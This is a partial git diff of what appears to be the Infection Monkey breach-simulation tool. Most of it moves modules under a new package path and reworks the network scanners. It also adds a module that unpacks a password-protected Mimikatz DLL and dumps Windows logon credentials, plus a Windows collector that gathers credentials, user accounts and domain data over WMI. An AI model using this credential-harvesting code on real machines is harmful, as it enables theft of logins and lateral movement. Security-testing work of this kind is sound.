+a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
-if platform.system().find("Windows")>= 0:
+if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
- if platform.architecture()[0] == "32bit":
- a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
- else:
- a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
+ a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
@@ -28,4 +36,5 @@ exe = EXE(pyz,
debug=False,
strip=None,
upx=True,
- console=True , icon='monkey.ico')
+ console=True,
+ icon='monkey.ico')
diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
similarity index 100%
rename from infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
similarity index 100%
rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
similarity index 100%
rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
diff --git a/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
similarity index 100%
rename from infection_monkey/monkeyfs.py
rename to monkey/infection_monkey/monkeyfs.py
diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py
new file mode 100644
index 000000000..e43fa7073
--- /dev/null
+++ b/monkey/infection_monkey/network/__init__.py
@@ -0,0 +1,29 @@
+from abc import ABCMeta, abstractmethod
+
+__author__ = 'itamar'
+
+
+class HostScanner(object):
+ __metaclass__ = ABCMeta
+
+ @abstractmethod
+ def is_host_alive(self, host):
+ raise NotImplementedError()
+
+
+class HostFinger(object):
+ __metaclass__ = ABCMeta
+
+ @abstractmethod
+ def get_host_fingerprint(self, host):
+ raise NotImplementedError()
+
+from infection_monkey.network.ping_scanner import PingScanner
+from infection_monkey.network.tcp_scanner import TcpScanner
+from infection_monkey.network.smbfinger import SMBFinger
+from infection_monkey.network.sshfinger import SSHFinger
+from infection_monkey.network.httpfinger import HTTPFinger
+from infection_monkey.network.elasticfinger import ElasticFinger
+from infection_monkey.network.mysqlfinger import MySQLFinger
+from infection_monkey.network.info import local_ips, get_free_tcp_port
+from infection_monkey.network.mssql_fingerprint import MSSQLFinger
\ No newline at end of file
diff --git a/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py
similarity index 88%
rename from infection_monkey/network/elasticfinger.py
rename to monkey/infection_monkey/network/elasticfinger.py
index 730decf4f..3d62de687 100644
--- a/infection_monkey/network/elasticfinger.py
+++ b/monkey/infection_monkey/network/elasticfinger.py
@@ -5,8 +5,9 @@ from contextlib import closing
import requests
from requests.exceptions import Timeout, ConnectionError
-from model.host import VictimHost
-from network import HostFinger
+import infection_monkey.config
+from infection_monkey.model.host import VictimHost
+from infection_monkey.network import HostFinger
ES_PORT = 9200
ES_SERVICE = 'elastic-search-9200'
@@ -21,7 +22,7 @@ class ElasticFinger(HostFinger):
"""
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""
diff --git a/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
similarity index 100%
rename from infection_monkey/network/firewall.py
rename to monkey/infection_monkey/network/firewall.py
diff --git a/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py
similarity index 89%
rename from infection_monkey/network/httpfinger.py
rename to monkey/infection_monkey/network/httpfinger.py
index 437edbf6c..829c6b1b5 100644
--- a/infection_monkey/network/httpfinger.py
+++ b/monkey/infection_monkey/network/httpfinger.py
@@ -1,16 +1,18 @@
-from network import HostFinger
-from model.host import VictimHost
+import infection_monkey.config
+from infection_monkey.network import HostFinger
+from infection_monkey.model.host import VictimHost
import logging
LOG = logging.getLogger(__name__)
+
class HTTPFinger(HostFinger):
"""
Goal is to recognise HTTP servers, where what we currently care about is apache.
"""
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS]
@staticmethod
diff --git a/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
similarity index 100%
rename from infection_monkey/network/info.py
rename to monkey/infection_monkey/network/info.py
diff --git a/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
similarity index 78%
rename from infection_monkey/network/mssql_fingerprint.py
rename to monkey/infection_monkey/network/mssql_fingerprint.py
index 9409c2255..75fde7465 100644
--- a/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -1,8 +1,9 @@
import logging
import socket
-from model.host import VictimHost
-from network import HostFinger
+from infection_monkey.model.host import VictimHost
+from infection_monkey.network import HostFinger
+import infection_monkey.config
__author__ = 'Maor Rayzin'
@@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger):
SERVICE_NAME = 'MSSQL'
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
@@ -29,7 +30,6 @@ class MSSQLFinger(HostFinger):
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
-
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout
@@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger):
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
sock.close()
return False
+ except socket.error as e:
+ if e.errno == socket.errno.ECONNRESET:
+ LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
+ .format(host))
+ else:
+ LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.',
+ exc_info=True)
+ sock.close()
+ return False
host.services[self.SERVICE_NAME] = {}
diff --git a/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py
similarity index 91%
rename from infection_monkey/network/mysqlfinger.py
rename to monkey/infection_monkey/network/mysqlfinger.py
index 39baa05ac..70080c12b 100644
--- a/infection_monkey/network/mysqlfinger.py
+++ b/monkey/infection_monkey/network/mysqlfinger.py
@@ -1,9 +1,10 @@
import logging
import socket
-from model.host import VictimHost
-from network import HostFinger
-from .tools import struct_unpack_tracker, struct_unpack_tracker_string
+import infection_monkey.config
+from infection_monkey.model.host import VictimHost
+from infection_monkey.network import HostFinger
+from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string
MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306'
@@ -20,7 +21,7 @@ class MySQLFinger(HostFinger):
HEADER_SIZE = 4 # in bytes
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
def get_host_fingerprint(self, host):
"""
diff --git a/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py
similarity index 50%
rename from infection_monkey/network/network_scanner.py
rename to monkey/infection_monkey/network/network_scanner.py
index 563b04b6d..2ccdfe74c 100644
--- a/infection_monkey/network/network_scanner.py
+++ b/monkey/infection_monkey/network/network_scanner.py
@@ -1,11 +1,11 @@
import logging
import time
-from config import WormConfiguration
-from info import local_ips, get_interfaces_ranges
from common.network.network_range import *
-from model import VictimHost
-from . import HostScanner
+from infection_monkey.config import WormConfiguration
+from infection_monkey.network.info import local_ips, get_interfaces_ranges
+from infection_monkey.model import VictimHost
+from infection_monkey.network import HostScanner
__author__ = 'itamar'
@@ -36,10 +36,42 @@ class NetworkScanner(object):
self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
if WormConfiguration.local_network_scan:
self._ranges += get_interfaces_ranges()
+ self._ranges += self._get_inaccessible_subnets_ips()
LOG.info("Base local networks to scan are: %r", self._ranges)
+ def _get_inaccessible_subnets_ips(self):
+ """
+ For each of the machine's IPs, checks if it's in one of the subnets specified in the
+ 'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible.
+ All these subnets are returned.
+ :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on.
+ """
+ subnets_to_scan = []
+ if len(WormConfiguration.inaccessible_subnets) > 1:
+ for subnet_str in WormConfiguration.inaccessible_subnets:
+ if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
+ # If machine has IPs from 2 different subnets in the same group, there's no point checking the other
+ # subnet.
+ for other_subnet_str in WormConfiguration.inaccessible_subnets:
+ if other_subnet_str == subnet_str:
+ continue
+ if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
+ other_subnet_str):
+ subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
+ break
+
+ return subnets_to_scan
+
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
- assert issubclass(scan_type, HostScanner)
+ """
+ Finds machines according to the ranges specified in the object
+ :param scan_type: A hostscanner class, will be instanced and used to scan for new machines
+ :param max_find: Max number of victims to find regardless of ranges
+ :param stop_callback: A callback to check at any point if we should stop scanning
+ :return: yields a sequence of VictimHost instances
+ """
+ if not scan_type:
+ return
scanner = scan_type()
victims_count = 0
@@ -76,3 +108,10 @@ class NetworkScanner(object):
if SCAN_DELAY:
time.sleep(SCAN_DELAY)
+
+ @staticmethod
+ def _is_any_ip_in_subnet(ip_addresses, subnet_str):
+ for ip_address in ip_addresses:
+ if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address):
+ return True
+ return False
diff --git a/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py
similarity index 91%
rename from infection_monkey/network/ping_scanner.py
rename to monkey/infection_monkey/network/ping_scanner.py
index 7162c36f3..075b57669 100644
--- a/infection_monkey/network/ping_scanner.py
+++ b/monkey/infection_monkey/network/ping_scanner.py
@@ -4,8 +4,9 @@ import re
import subprocess
import sys
-from model.host import VictimHost
-from . import HostScanner, HostFinger
+import infection_monkey.config
+from infection_monkey.model.host import VictimHost
+from infection_monkey.network import HostScanner, HostFinger
__author__ = 'itamar'
@@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w")
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)
diff --git a/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
similarity index 96%
rename from infection_monkey/network/smbfinger.py
rename to monkey/infection_monkey/network/smbfinger.py
index 9ccb52422..ab92f2761 100644
--- a/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -1,10 +1,11 @@
import socket
import struct
import logging
-from network import HostFinger
-from model.host import VictimHost
from odict import odict
+from infection_monkey.network import HostFinger
+from infection_monkey.model.host import VictimHost
+
SMB_PORT = 445
SMB_SERVICE = 'tcp-445'
@@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger):
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ from infection_monkey.config import WormConfiguration
+ self._config = WormConfiguration
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
diff --git a/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py
similarity index 85%
rename from infection_monkey/network/sshfinger.py
rename to monkey/infection_monkey/network/sshfinger.py
index 89c3092d7..21deb8814 100644
--- a/infection_monkey/network/sshfinger.py
+++ b/monkey/infection_monkey/network/sshfinger.py
@@ -1,8 +1,9 @@
import re
-from model.host import VictimHost
-from network import HostFinger
-from network.tools import check_tcp_port
+import infection_monkey.config
+from infection_monkey.model.host import VictimHost
+from infection_monkey.network import HostFinger
+from infection_monkey.network.tools import check_tcp_port
SSH_PORT = 22
SSH_SERVICE_DEFAULT = 'tcp-22'
@@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
@staticmethod
diff --git a/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
similarity index 81%
rename from infection_monkey/network/tcp_scanner.py
rename to monkey/infection_monkey/network/tcp_scanner.py
index e291e8d3e..d864e3e73 100644
--- a/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -1,8 +1,9 @@
from itertools import izip_longest
from random import shuffle
-from network import HostScanner, HostFinger
-from network.tools import check_tcp_ports
+import infection_monkey.config
+from infection_monkey.network import HostScanner, HostFinger
+from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service
__author__ = 'itamar'
@@ -11,7 +12,7 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
def __init__(self):
- self._config = __import__('config').WormConfiguration
+ self._config = infection_monkey.config.WormConfiguration
def is_host_alive(self, host):
return self.get_host_fingerprint(host, True)
@@ -31,7 +32,7 @@ class TcpScanner(HostScanner, HostFinger):
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner)
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
- service = 'tcp-' + str(target_port)
+ service = tcp_port_to_service(target_port)
host.services[service] = {}
if banner:
host.services[service]['banner'] = banner
diff --git a/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
similarity index 61%
rename from infection_monkey/network/tools.py
rename to monkey/infection_monkey/network/tools.py
index 5053b6c32..112eb53a2 100644
--- a/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -1,13 +1,19 @@
import logging
+import sys
+import subprocess
import select
import socket
import struct
import time
+from six import text_type
+import ipaddress
+
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
LOG = logging.getLogger(__name__)
+SLEEP_BETWEEN_POLL = 0.5
def struct_unpack_tracker(data, index, fmt):
@@ -126,15 +132,23 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
if len(possible_ports) != 0:
- time.sleep(timeout)
- sock_objects = [s[1] for s in possible_ports]
- # first filter
- _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
- for s in writeable_sockets:
- try: # actual test
- connected_ports_sockets.append((s.getpeername()[1], s))
- except socket.error: # bad socket, select didn't filter it properly
- pass
+ timeout = int(round(timeout)) # clamp to integer, to avoid checking input
+ sockets_to_try = possible_ports[:]
+ connected_ports_sockets = []
+ while (timeout >= 0) and len(sockets_to_try):
+ sock_objects = [s[1] for s in sockets_to_try]
+
+ _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
+ for s in writeable_sockets:
+ try: # actual test
+ connected_ports_sockets.append((s.getpeername()[1], s))
+ except socket.error: # bad socket, select didn't filter it properly
+ pass
+ sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets]
+ if sockets_to_try:
+ time.sleep(SLEEP_BETWEEN_POLL)
+ timeout -= SLEEP_BETWEEN_POLL
+
LOG.debug(
"On host %s discovered the following ports %s" %
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
@@ -154,3 +168,64 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
except socket.error as exc:
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
return [], []
+
+
+def tcp_port_to_service(port):
+ return 'tcp-' + str(port)
+
+
+def traceroute(target_ip, ttl):
+ """
+ Traceroute for a specific IP.
+ :param target_ip: Destination
+ :param ttl: Max TTL
+ :return: Sequence of IPs in the way
+ """
+ if sys.platform == "win32":
+ try:
+ # we'll just use tracert because that's always there
+ cli = ["tracert",
+ "-d",
+ "-w", "250",
+ "-h", str(ttl),
+ target_ip]
+ proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
+ stdout, stderr = proc_obj.communicate()
+ ip_lines = stdout.split('\r\n')[3:-3]
+ trace_list = []
+ for line in ip_lines:
+ tokens = line.split()
+ last_token = tokens[-1]
+ try:
+ ip_addr = ipaddress.ip_address(text_type(last_token))
+ except ValueError:
+ ip_addr = ""
+ trace_list.append(ip_addr)
+ return trace_list
+ except:
+ return []
+ else: # linux based hopefully
+ # implementation note: We're currently going to just use ping.
+ # reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
+ # while this is just ugly
+ # we can't use traceroute because it's not always installed
+ current_ttl = 1
+ trace_list = []
+ while current_ttl <= ttl:
+ try:
+ cli = ["ping",
+ "-c", "1",
+ "-w", "1",
+ "-t", str(current_ttl),
+ target_ip]
+ proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
+ stdout, stderr = proc_obj.communicate()
+ ip_line = stdout.split('\n')
+ ip_line = ip_line[1]
+ ip = ip_line.split()[1]
+ trace_list.append(ipaddress.ip_address(text_type(ip)))
+ except (IndexError, ValueError):
+ # assume we failed parsing output
+ trace_list.append("")
+ current_ttl += 1
+ return trace_list
diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py
new file mode 100644
index 000000000..d169bda6a
--- /dev/null
+++ b/monkey/infection_monkey/pyinstaller_utils.py
@@ -0,0 +1,25 @@
+import os
+import sys
+
+
+__author__ = 'itay.mizeretz'
+
+
+def get_binaries_dir_path():
+ """
+ Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
+ :return: Binaries dir path
+ """
+ if getattr(sys, 'frozen', False):
+ return sys._MEIPASS
+ else:
+ return os.path.dirname(os.path.abspath(__file__))
+
+
+def get_binary_file_path(filename):
+ """
+ Gets the path to a binary file
+ :param filename: name of the file
+ :return: Path to file
+ """
+ return os.path.join(get_binaries_dir_path(), filename)
diff --git a/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt
similarity index 87%
rename from infection_monkey/readme.txt
rename to monkey/infection_monkey/readme.txt
index 67c4033d9..c90b1f6af 100644
--- a/infection_monkey/readme.txt
+++ b/monkey/infection_monkey/readme.txt
@@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
-Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
\ No newline at end of file
+Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
+Alternatively, if you build Mimikatz, put each version in a zip file.
+1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
+2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
+3. The zip file should be named mk32.zip/mk64.zip accordingly.
+4. Zipping with 7zip has been tested. Other zipping software may not work.
\ No newline at end of file
diff --git a/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt
similarity index 97%
rename from infection_monkey/requirements.txt
rename to monkey/infection_monkey/requirements.txt
index 8683987c4..468b748e8 100644
--- a/infection_monkey/requirements.txt
+++ b/monkey/infection_monkey/requirements.txt
@@ -14,3 +14,4 @@ six
ecdsa
netifaces
ipaddress
+wmi
\ No newline at end of file
diff --git a/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
similarity index 100%
rename from infection_monkey/system_info/SSH_info_collector.py
rename to monkey/infection_monkey/system_info/SSH_info_collector.py
diff --git a/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py
similarity index 95%
rename from infection_monkey/system_info/__init__.py
rename to monkey/infection_monkey/system_info/__init__.py
index 667ff9890..fbfbcbd7a 100644
--- a/infection_monkey/system_info/__init__.py
+++ b/monkey/infection_monkey/system_info/__init__.py
@@ -5,8 +5,8 @@ import sys
import psutil
from enum import IntEnum
-from network.info import get_host_subnets
-from azure_cred_collector import AzureCollector
+from infection_monkey.network.info import get_host_subnets
+from infection_monkey.system_info.azure_cred_collector import AzureCollector
LOG = logging.getLogger(__name__)
@@ -112,7 +112,7 @@ class InfoCollector(object):
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
:return: None. Updates class information
"""
- from config import WormConfiguration
+ from infection_monkey.config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
diff --git a/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
similarity index 100%
rename from infection_monkey/system_info/azure_cred_collector.py
rename to monkey/infection_monkey/system_info/azure_cred_collector.py
diff --git a/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py
similarity index 84%
rename from infection_monkey/system_info/linux_info_collector.py
rename to monkey/infection_monkey/system_info/linux_info_collector.py
index d80efff6a..466177b49 100644
--- a/infection_monkey/system_info/linux_info_collector.py
+++ b/monkey/infection_monkey/system_info/linux_info_collector.py
@@ -1,7 +1,7 @@
import logging
-from . import InfoCollector
-from SSH_info_collector import SSHCollector
+from infection_monkey.system_info import InfoCollector
+from infection_monkey.system_info.SSH_info_collector import SSHCollector
__author__ = 'uri'
diff --git a/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
similarity index 67%
rename from infection_monkey/system_info/mimikatz_collector.py
rename to monkey/infection_monkey/system_info/mimikatz_collector.py
index 65f326256..4ef764251 100644
--- a/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -2,6 +2,11 @@ import binascii
import ctypes
import logging
import socket
+import zipfile
+
+import infection_monkey.config
+
+from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
__author__ = 'itay.mizeretz'
@@ -13,16 +18,36 @@ class MimikatzCollector(object):
Password collection module for Windows using Mimikatz.
"""
- def __init__(self):
- try:
+ # Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
+ MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
- self._isInit = False
- self._config = __import__('config').WormConfiguration
- self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
+ # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
+ MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
+
+ # Password to Mimikatz zip file
+ MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
+
+ def __init__(self):
+ self._config = infection_monkey.config.WormConfiguration
+ self._isInit = False
+ self._dll = None
+ self._collect = None
+ self._get = None
+ self.init_mimikatz()
+
+ def init_mimikatz(self):
+ try:
+ with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
+ mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
+ pwd=self.MIMIKATZ_ZIP_PASSWORD)
+
+ self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
+ get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
+ self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
except Exception:
LOG.exception("Error initializing mimikatz collector")
@@ -32,6 +57,7 @@ class MimikatzCollector(object):
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
+ LOG.info('Getting mimikatz logon information')
if not self._isInit:
return {}
LOG.debug("Running mimikatz collector")
@@ -41,6 +67,8 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
+
+ self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
entry = self._get()
@@ -74,6 +102,9 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
+
+ def get_mimikatz_text(self):
+ return self.mimikatz_text
class LogonData(ctypes.Structure):
"""
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
new file mode 100644
index 000000000..abf0771fa
--- /dev/null
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -0,0 +1,67 @@
+import os
+import logging
+import sys
+
+sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
+
+import infection_monkey.config
+from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
+from infection_monkey.system_info import InfoCollector
+from infection_monkey.system_info.wmi_consts import WMI_CLASSES
+from common.utils.wmi_utils import WMIUtils
+
+LOG = logging.getLogger(__name__)
+LOG.info('started windows info collector')
+
+__author__ = 'uri'
+
+
+class WindowsInfoCollector(InfoCollector):
+ """
+ System information collecting module for Windows operating systems
+ """
+
+ def __init__(self):
+ super(WindowsInfoCollector, self).__init__()
+ self._config = infection_monkey.config.WormConfiguration
+ self.info['reg'] = {}
+ self.info['wmi'] = {}
+
+ def get_info(self):
+ """
+ Collect Windows system information
+ Hostname, process list and network subnets
+ Tries to read credential secrets using mimikatz
+ :return: Dict of system information
+ """
+ LOG.debug("Running Windows collector")
+ self.get_hostname()
+ self.get_process_list()
+ self.get_network_info()
+ self.get_azure_info()
+
+ self.get_wmi_info()
+ LOG.debug('finished get_wmi_info')
+ self.get_installed_packages()
+ LOG.debug('Got installed packages')
+
+ mimikatz_collector = MimikatzCollector()
+ mimikatz_info = mimikatz_collector.get_logon_info()
+ if mimikatz_info:
+ if "credentials" in self.info:
+ self.info["credentials"].update(mimikatz_info)
+ self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
+ else:
+ LOG.info('No mimikatz info was gathered')
+
+ return self.info
+
+ def get_installed_packages(self):
+ LOG.info('getting installed packages')
+ self.info["installed_packages"] = os.popen("dism /online /get-packages").read()
+ self.info["installed_features"] = os.popen("dism /online /get-features").read()
+
+ def get_wmi_info(self):
+ LOG.info('getting wmi info')
+ for wmi_class_name in WMI_CLASSES:
+ self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py
new file mode 100644
index 000000000..a87e297d9
--- /dev/null
+++ b/monkey/infection_monkey/system_info/wmi_consts.py
@@ -0,0 +1,32 @@
+WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
+ "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
+ "Win32_OptionalFeature"}
+
+# These wmi queries are able to return data about all the users & machines in the domain.
+# For these queries to work, the monkey should be run on a domain machine and
+#
+# monkey should run as *** SYSTEM *** !!!
+#
+WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
+ "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
+ "DS_objectSid", "DS_objectClass", "DS_memberOf",
+ "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
+ "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
+ "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
+
+ "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
+ "DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
+ "DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
+ "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
+
+ "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
+ "DS_adminDisplayName", "DS_badPasswordTime",
+ "DS_badPwdCount", "DS_cn", "DS_distinguishedName",
+ "DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
+ "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
+ "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
+ "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
+ "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
+ "DS_whenChanged", "DS_whenCreated"),
+ }
+
diff --git a/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
similarity index 98%
rename from infection_monkey/system_singleton.py
rename to monkey/infection_monkey/system_singleton.py
index 970905a9c..9f56c238e 100644
--- a/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -3,7 +3,7 @@ import logging
import sys
from abc import ABCMeta, abstractmethod
-from config import WormConfiguration
+from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
new file mode 100644
index 000000000..735ef670a
--- /dev/null
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -0,0 +1,4 @@
